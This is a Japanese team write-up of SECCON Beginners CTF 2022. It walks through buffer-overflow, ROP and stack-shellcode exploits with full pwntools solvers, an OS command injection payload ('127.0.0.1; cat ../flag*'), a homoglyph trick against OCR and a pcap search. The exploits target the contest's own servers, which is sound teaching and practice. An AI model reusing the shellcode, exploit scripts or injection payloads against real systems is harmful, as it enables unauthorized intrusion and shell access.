SECCON Beginners CTF 2022 Writeup
はじめに
RonWizardleyというチームで参加し,85/891位でした.
pwn
BeginnersBof
方針
問題のソースコードを確認すると,win関数を呼びだせるとフラグが見れそうだとわかる. また,最初に入力した数値の大きさだけfgetsの入力が許されることから,fgets関数においてBOFの脆弱性がある. このため,fgetsを用いてmain関数のリターンアドレスをwinのアドレスに書き換えることを考える.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#define BUFSIZE 0x10
void win() {
char buf[0x100];
int fd = open("flag.txt", O_RDONLY);
if (fd == -1)
err(1, "Flag file not found...\n");
write(1, buf, read(fd, buf, sizeof(buf)));
close(fd);
}
int main() {
int len = 0;
char buf[BUFSIZE] = {0};
puts("How long is your name?");
scanf("%d", &len);
char c = getc(stdin);
if (c != '\n')
ungetc(c, stdin);
puts("What's your name?");
fgets(buf, len, stdin);
printf("Hello %s", buf);
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
手順
1.スタックの配置とwinのアドレスを調べる
スタックの配置とwinのアドレスを調べるために,gdbを用いる.
gef➤ info addr win
Symbol "win" is at 0x4011e6 in a file compiled without debugging.
winのアドレスは 0x4011e6
gef➤ dps
0x00007fffffffdc80│+0x0000: "aaaaaaaaaaaa\n" ← $rax, $rsp, $r8
0x00007fffffffdc88│+0x0008: 0x0000000a61616161 ("aaaa\n"?)
0x00007fffffffdc90│+0x0010: 0x00007fffffffdd90 → 0x0000000000000001
0x00007fffffffdc98│+0x0018: 0x0a00000000002710
0x00007fffffffdca0│+0x0020: 0x0000000000000000 ← $rbp
0x00007fffffffdca8│+0x0028: 0x00007ffff7de20b3 → <__libc_start_main+243> mov edi, eax
How long is your name?
に対して 10000
を入力し, What's your name?
に対して a
を12個入力したときのスタック
$rsp
を基準にすると, $rsp
から buf
の配列が 0x16
byte, $rsp+0x0018
から len
の変数(中身は 10000(0x2710)
)が格納されている.
$rbp
が $rsp+0x0020
を指していることから, saved_rbp
の次のアドレスである $rsp+0x0028
にリターンアドレスが格納されている.
2.リターンアドレスをwinのアドレスに書き換える
まず, buf
からリターンアドレスが格納されるアドレスまでの距離を数える.
1.の調査結果から,リターンアドレスが格納されるアドレスまでの距離は, 0x0028
であるため,
a
を 0x0028
個挿入し,その後ろにwinのアドレスである 0x4011e6
をエンディアンに気をつけて挿入する.
solver
import sys
from pwn import *
# bin_file = './chall'
context(os = 'linux', arch = 'amd64')
win_addr = 0x00000000004011e6
def attack(conn, **kwargs):
buf1 = b'10000'
conn.sendlineafter(b'name?', buf1)
buf2 = b'a'*0x28+pack(win_addr)
conn.sendlineafter(b'name?', buf2)
def main():
conn = remote('beginnersbof.quals.beginners.seccon.jp', 9000)
# conn = process(bin_file)
# conn = gdb.debug(bin_file, '''
# break main
# ''')
attack(conn)
conn.interactive()
if __name__ == '__main__':
main()
実行結果
$ python ../BeginnersBof/solve.py
[+] Opening connection to beginnersbof.quals.beginners.seccon.jp on port 9000: Done
[*] Switching to interactive mode
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
raindrop
方針
問題のソースコードを確認すると, buf
サイズが 0x10
にかかわらず, read
で 0x30
byteまで入力可能なBOFがある.
ROPでシェルとってくれと言わんばかりに system
関数があるので,これの引数に /bin/sh
を渡すことを考えてROPを組む.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFF_SIZE 0x10
void help() {
system("cat welcome.txt");
}
void show_stack(void *);
void vuln();
int main() {
vuln();
}
void vuln() {
char buf[BUFF_SIZE] = {0};
show_stack(buf);
puts("You can earn points by submitting the contents of flag.txt");
puts("Did you understand?") ;
read(0, buf, 0x30);
puts("bye!");
show_stack(buf);
}
void show_stack(void *ptr) {
puts("stack dump...");
printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
puts("========+===================");
for (int i = 0; i < 5; i++) {
unsigned long *p = &((unsigned long*)ptr)[i];
printf(" %06d | 0x%016lx ", i, *p);
if (p == ptr)
printf(" <- buf");
if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
printf(" <- saved rbp");
if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
printf(" <- saved ret addr");
puts("");
}
puts("finish");
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
help();
alarm(60);
}
手順
1.スタックの配置を調べる
BiginnersBofと同様にgdbを用いてスタックの配置を確認する.
リターンアドレスの格納アドレスを特定し,ここを書き換えてROPの起点にする.
調査すると, $rsp
からリターンアドレスの格納場所まで 0x18
byteであることがわかる.
2.ROPを組む
シェルを起動するためのROPガジェットを集める.
方針の通り,system関数のアドレスと,これに渡す引数のアドレスがあればよい.
x64において,引数は rdi->rsi->rdx->r10->r8->r9
の順番で渡されるため,
pop rdi
のガジェットがあれば,systemの第一引数に任意のアドレスが設定可能となる.
$ objdump -d -M intel chall | grep system
00000000004010a0 <system@plt>:
4010a4: f2 ff 25 75 2f 00 00 bnd jmp QWORD PTR [rip+0x2f75] # 404020 <system@GLIBC_2.2.5>
4011e5: e8 b6 fe ff ff call 4010a0 <system@plt>
$ objdump -d -M intel chall | grep -a1 "5f" | grep -b1 c3
385- 401452: 41 5f pop r15
428: 401454: c3 ret
objdumpコマンドでsystem関数のアドレスとROPガジェットを探す.
systemは 0x4011e5
, pop rdi
はバイナリで 5f c3
であるため,これを探すと 0x401453
にガジェットが見つかる.
3./bin/shを埋め込む
あとは /bin/sh
のアドレスをスタックに積めればシェルが起動できそうだが,肝心の /bin/sh
の文字列はプログラム中に存在しないため,どこかに埋め込む必要がある.
埋め込む場所の候補としては,スタックと書き込み権限のある領域(.bss領域とか)が考えられるが,今回はROPガジェット少なく,またBOFの制限がきついため後者の方はできそうにない.
そこで,プログラムを注視すると, show_stack関数から, saved_rbp
の値が漏洩していることに気づく.これを利用すれば,現在のスタックのアドレスが特定できるため,
スタックに書き込んだ /bin/sh
を指定することができる.
[Index] |[Value]
========+===================
000000 | 0x0000000000000000 <- buf
000001 | 0x0000000000000000
000002 | 0x00007ffe2fddf5b0 <- saved rbp <-これを利用する
000003 | 0x00000000004011ff <- saved ret addr
000004 | 0x0000000000000000
このとき,漏洩している saved_rbp
はvuln関数を呼びだしているmainのものであるため,そこから現在のスタックのアドレスを求めればよい.
| | |
|-----------------|<- rsp -+----------+--
| Loval variables | | |
| 0x10 byte | | |
|-----------------|<- rbp | |
| saved_rbp |--+ vulu 0x20 byte
|-----------------| | | |
| return addr | | | |
|-----------------|<-+ -+----------+--
| saved_rbp | |
|-----------------| main
| return addr | |
|-----------------| -+-
| | |
この図のように,main関数では,スタックは確保されていないため,リターンアドレスと saved_rbp
とvulnで確保した 0x10
byteの合計 0x20
バイトだけ
漏洩している saved_rbp
から引けば, buf
のアドレス求まる.
これで, /bin/sh
と残りを \x00
で埋めた文字列を a
のパディングの代わりに挿入すると, /bin/sh
の挿入も完了するため,ROPチェインにこのアドレスを組み込む.
solver
import sys
from pwn import *
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
system_addr = 0x4011e5
pop_rdi = 0x401453
def attack(conn, **kwargs):
#saved_rbpの値を取得してstackのアドレスを特定
conn.recvuntil(b'000002 | ')
saved_rbp = conn.recv(18)
print(saved_rbp, 0)
buf_addr = int(saved_rbp, 0) - 0x20 # 0x20はrbpとsaved_rbpの差分
buf1 = b'/bin/sh'.ljust(0x18, b'\00')
buf1 += pack(pop_rdi)
buf1 += pack(buf_addr)
buf1 += pack(system_addr)
conn.sendlineafter(b'understand?', buf1)
def main():
conn = remote('raindrop.quals.beginners.seccon.jp', 9001)
# conn = process(bin_file)
# conn = gdb.debug(bin_file, '''
# break main
# ''')
attack(conn)
conn.interactive()
if __name__ == '__main__':
main()
実行結果
$ python solve.py
[+] Opening connection to raindrop.quals.beginners.seccon.jp on port 9001: Done
b'0x00007ffdd5b43e30' 0
[*] Switching to interactive mode
bye!
stack dump...
[Index] |[Value]
========+===================
000000 | 0x0068732f6e69622f <- buf
000001 | 0x0000000000000000
000002 | 0x0000000000000000 <- saved rbp
000003 | 0x0000000000401453 <- saved ret addr
000004 | 0x00007ffdd5b43e10
finish
$ ls
chall
flag.txt
redir.sh
welcome.txt
$ cat flag.txt
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}
snowdrop
方針
ソースコードを見てみると,raindropとBOFの位置は同じだが,sysytem関数とvuln関数がなくなっている.このため,raindropと同じ解法はできない. また,checksecしたところ,NXが無効であることから,スタックへのシェルコードの挿入と実行を考える.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFF_SIZE 0x10
void show_stack(void *);
int main() {
char buf[BUFF_SIZE] = {0};
show_stack(buf);
puts("You can earn points by submitting the contents of flag.txt");
puts("Did you understand?") ;
gets(buf);
puts("bye!");
show_stack(buf);
}
void show_stack(void *ptr) {
puts("stack dump...");
printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
puts("========+===================");
for (int i = 0; i < 8; i++) {
unsigned long *p = &((unsigned long*)ptr)[i];
printf(" %06d | 0x%016lx ", i, *p);
if (p == ptr)
printf(" <- buf");
if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
printf(" <- saved rbp");
if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
printf(" <- saved ret addr");
puts("");
}
puts("finish");
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
手順
1.スタックのアドレスを特定する
raindropと異なり, saved_rbp
からスタックのアドレスを特定する方法は使用できない.
しかし,gdbでプログラムを実行してスタックを見てみると,show_stack関数の6番目の出力から
スタックのアドレスが漏洩していることがわかる.
このため,漏洩しているスタックのアドレスと $rsp
の差分を計算する.
0x00007fffffffdda8-0x00007fffffffdb40=0x268
より,漏洩しているアドレスから 0x268
byteだけ減算すると,現在の $rsp
がわかる.
[Index] |[Value]
========+===================
000000 | 0x0000000000000000 <- buf
000001 | 0x0000000000000000
000002 | 0x0000000000404260 <- saved rbp
000003 | 0x0000000000403a92 <- saved ret addr
000004 | 0x0000000000000000
000005 | 0x0000000100000000
000006 | 0x00007ffedddc5d68
000007 | 0x0000000000401905
gef➤ dps
0x00007fffffffdb40│+0x0000: 0x0000000000000000 ← $rax, $rsp, $rdi
0x00007fffffffdb48│+0x0008: 0x0000000000000000
0x00007fffffffdb50│+0x0010: 0x0000000000404260 → <__libc_csu_init+0> endbr64 ← $rbp
0x00007fffffffdb58│+0x0018: 0x0000000000403a92 → <__libc_start_main+3906> mov edi, eax
0x00007fffffffdb60│+0x0020: 0x0000000000000000
0x00007fffffffdb68│+0x0028: 0x0000000100000000
0x00007fffffffdb70│+0x0030: 0x00007fffffffdda8 → 0x00007fffffffe125
0x00007fffffffdb78│+0x0038: 0x0000000000401905 → <main+0> push rbp
0x00007fffffffdb80│+0x0040: 0x0000000000040000
0x00007fffffffdb88│+0x0048: 0x0000000000000000
2.シェルコードを作成する
raindropでは,system関数が存在したため, /bin/sh
を挿入するだけでよかったが,今回はsystem関数が存在しないため,
execve("/bin/sh", {"/bin/sh", NULL}, NULL)
を実行するシェルコードを作成する.
シェルコードは, shellcraft.sh()
で作れたりググるとでてきたりするが,せっかくなので後学のため自力で作成しておく.
まず,シェルコードには区切り文字が入らないようにする必要がある.
このため, /bin/sh
の末尾が \x00
で埋まらないように, /bin//sh
とすることで調整する.
次に, /bin//sh
をバイナリに変換する.
$ echo "/bin//sh" | od -tx8z
0000000 68732f2f6e69622f 000000000000000a >/bin//sh.<
これより, /bin//sh
の文字列は 0x68732f2f6e69622f
であることがわかる.
このとき,バイナリには終端文字は含まれていないことに注意する.
execveのシステムコール番号は 59
であるため, $rax
は 59
,
$rdi
は /bin//sh
のアドレス, $rsi
は {"/bin//sh", NULL}
のアドレス,
$rdx
は 0
を入れた状態で
syscall
呼ぶシェルコードを作成すれば良い.
作成したシェルコード
BITS 64
global _start
_start:
xor rdx, rdx ;rdx = 0
push rdx ;"/bin//sh"の終端文字
mov rax, 0x68732f2f6e69622f ;rax = "/bin//sh"
push rax ;rsp = "/bin//sh"のアドレス
mov rdi, rsp ;rdi = "/bin//sh"のアドレス
push rdx ;
push rdi ;rsp = {"/bin//sh", NULL}
mov rsi, rsp ;rsi = {"/bin//sh", NULL}のアドレス
lea rax, [rdx+59] ;rax = 59
syscall ;execve("/bin//sh", {"/bin//sh", NULL}, NULL)
push
が発生したときのスタックの遷移図
push rdx push rax push rdx push rdi
mov rdi, rsp mov rsi, rsp
|--------|<-rsp |--------|<-rsp,rdi |--------|<-rsp |----------------|<-rsp,rsi
| \x00 | | "/bin" | | NULL | | "/bin/sh" addr |
|--------| | "//sh" | |--------|<-rdi |----------------|
| | --> |--------| --> | "/bin" | --> | NULL |
| \x00 | | "//sh" | |----------------|<-rdi
|--------| |--------| | "/bin" |
| | | \x00 | | "//sh" |
|--------| |----------------|
| | | \x00 |
|----------------|
| |
作成したスクリプトを実行し,動作確認する.
$ objdump -d -M intel shellcode.out
shellcode.out: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 d2 xor rdx,rdx
401003: 52 push rdx
401004: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f
40100b: 2f 73 68
40100e: 50 push rax
40100f: 48 89 e7 mov rdi,rsp
401012: 52 push rdx
401013: 57 push rdi
401014: 48 89 e6 mov rsi,rsp
401017: 48 8d 42 3b lea rax,[rdx+0x3b]
40101b: 0f 05 syscall
$ nasm -f elf64 shellcode.s -o shellcode.o && ld shellcode.o -o shellcode.out
$ ./shellcode.out
手元で動作確認できれば,objdumpの出力結果を元に,シェルを起動するコードをバイナリに変換する.
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05
3.シェルコードが起動するようにスタックを書き換える
2.で作成したシェルコードを起動するため,スタックに配置する.このとき,リターンアドレスがシェルコードの先頭を指す必要があるため,
1.で計算した $rsp
の値を用いてシェルコードの先頭アドレスを計算する.
| | |
|-----------------|<- rsp -+----------+--
| Loval variables | | |
| 0x10 byte | | |
|-----------------|<- rbp | |
| saved_rbp | main 0x268 byte
|-----------------| | |
| return addr | | |
|-----------------| -+- |
| | | |
| leaked addr |--+ | |
| | | | |
| |<-+ -+----------+---
リターンアドレスが格納されるアドレスのすぐ下にシェルコードを格納した場合,その先頭アドレスは, leaked addr-0x248
となる.
その計算結果をBOFを用いてリターンアドレスの場所に格納すると,main関数の終了後にシェルコードが起動する.
| |
|----------------|<- rsp
| |
| 'a'*0x18 |
| |<- rbp
| |
|----------------|
| shellcode addr |--+
|----------------|<-+
| |
| shellcode |
| |
solver
import sys
from pwn import *
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
shellcode = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
def attack(conn, **kwargs):
#saved_rbpの値を取得してstackのアドレスを特定
conn.recvuntil(b'000006 | ')
saved_rbp = conn.recv(18)
print(saved_rbp)
shellcode_addr = int(saved_rbp, 0) - 0x248 # 0x248はreturn addrとleaked addrの差分
# buf1 = b'/bin/sh'.ljust(0x18, b'\00')
buf1 = b'a'*0x18
buf1 += pack(shellcode_addr)
buf1 += shellcode
conn.sendlineafter(b'understand?', buf1)
def main():
conn = remote('snowdrop.quals.beginners.seccon.jp', 9002)
# conn = process(bin_file)
# conn = gdb.debug(bin_file, '''
# break main
# ''')
attack(conn)
conn.interactive()
if __name__ == '__main__':
main()
実行結果
$ python solve.py
[+] Opening connection to snowdrop.quals.beginners.seccon.jp on port 9002: Done
b'0x00007ffd7daa5e68'
[*] Switching to interactive mode
bye!
stack dump...
[Index] |[Value]
========+===================
000000 | 0x6161616161616161 <- buf
000001 | 0x6161616161616161
000002 | 0x6161616161616161 <- saved rbp
000003 | 0x00007ffd7daa5c20 <- saved ret addr
000004 | 0x622fb84852d23148
000005 | 0x485068732f2f6e69
000006 | 0x48e689485752e789
000007 | 0x000000050f3b428d
finish
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{h1ghw4y_t0_5h3ll}
ctf4b{h1ghw4y_t0_5h3ll}
Web
Util
方針
配布されたコードを読むと,サーバは入力されたIPをpingの文字列と結合してOSで実行してることから
OSコマンドインジェクションの脆弱性があることがわかる.このため,html側の入力制限を回避すれば, cat
を実行できそう.
手順
1.入力制限を回避する
Developper Toolでhtmlファイルを見てみると,JavaScriptによりフォームからの入力が制限されている箇所がみつかる.
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
...
}
このif文により入力制限がかかってるため,if文の条件を true
に書き換えた新しい send()
をconsoleで定義する.
2. OSコマンドインジェクションする
フラグのファイルはルート直下にあるため,一つディレクトリを遡り,ワイルドカード利用してフラグを表示するための入力を用意する.
サーバで動いてるプログラムのOSコマンドを実行する箇所は以下であり,
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
param.Address
に入力がそのまま入るため,
127.0.0.1; cat ../flag*
をフォームに入力し,その後 send()
を実行する.
実行結果
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.077 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.077/0.077/0.077 ms
ctf4b{al1_0vers_4re_i1l}
ctf4b{al1_0vers_4re_i1l}
misc
phiser
方針
ソースコードを見てみると,入力を画像にした後,その画像を pyorc
で文字列を読み取り,
www.example.com
の文字列と比較を行い, www.example.com
に使用されている文字以外での入力ならばフラグが出力される.
このため, www.example.com
と誤認させるような入力を作ってあげればよい.
import os
import pyocr
import random
import string
import cv2 as cv
import numpy as np
from PIL import ImageFont, ImageDraw, Image
flag = os.getenv("CTF4B_FLAG")
fqdn = "www.example.com"
# TEXT to PNG
def text2png(text:str) -> str:
os.makedirs("phish", exist_ok=True)
filename = "".join([random.choice(string.ascii_letters) for i in range(15)])
png = f"phish/{filename}.png"
img = np.full((100, 600, 3), 0, dtype=np.uint8)
font = ImageFont.truetype("font/Murecho-Black.ttf", 64)
img_pil = Image.fromarray(img)
ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :)
img = np.array(img_pil)
cv.imwrite(png, img)
return png
# PNG to TEXT (OCR-English)
def ocr(image:str) -> str:
tool = pyocr.get_available_tools()[0]
print(tool)
text = tool.image_to_string(Image.open(image), lang="eng")
os.remove(image)
if not text:
text = "???????????????"
return text
# Can you deceive the OCR?
# Give me "www.example.com" without using "www.example.com" !!!
def phishing() -> None:
input_fqdn = input("FQDN: ")[:15]
ocr_fqdn = ocr(text2png(input_fqdn))
if ocr_fqdn == fqdn: # [OCR] OK !!!
for c in input_fqdn:
if c in fqdn:
global flag
flag = f"\"{c}\" is included in \"www.example.com\" ;("
break
print(flag)
else: # [OCR] NG
print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")
if __name__ == "__main__":
print(""" _ _ _ ____ __
_ __ | |__ (_)___| |__ ___ _ __ / /\ \ / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ /
| |_) | | | | \__ \ | | | __/ | \ \ / /\ \\
| .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\\
|_|
""")
phishing()
手順
ひたすら UnicodeのWikipediaとか句読点のサイトとか見ながらアルファベットとドットに似た文字を探す.
2時間程度格闘した後,手元でocrをだませた入力がこれ.
ωωω․ę×αмρ|ę․çом
せっかくなので目でも比較してみる.
実行結果
$ nc phisher.quals.beginners.seccon.jp 44322
_ _ _ ____ __
_ __ | |__ (_)___| |__ ___ _ __ / /\ \ / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ /
| |_) | | | | \__ \ | | | __/ | \ \ / /\ \
| .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\
|_|
FQDN: ωωω․ę×αмρ|ę․çом
ctf4b{n16h7_ph15h1n6_15_600d}
ctf4b{n16h7_ph15h1n6_15_600d}
h2
方針
pcapファイルが配られるので,Wiresharkで中身をみてフラグをみつける.
手順
配布されてる main.go
を見ると,HEADERの x-flag
っていう項目にフラグを置いてるぽいので,
先にプロトコルを http2
に絞り,Packet details→Stringで x-flag
を検索する.
実行結果
ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
Welcome
ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}
おわりに
ヒープから逃げてごめんなさい.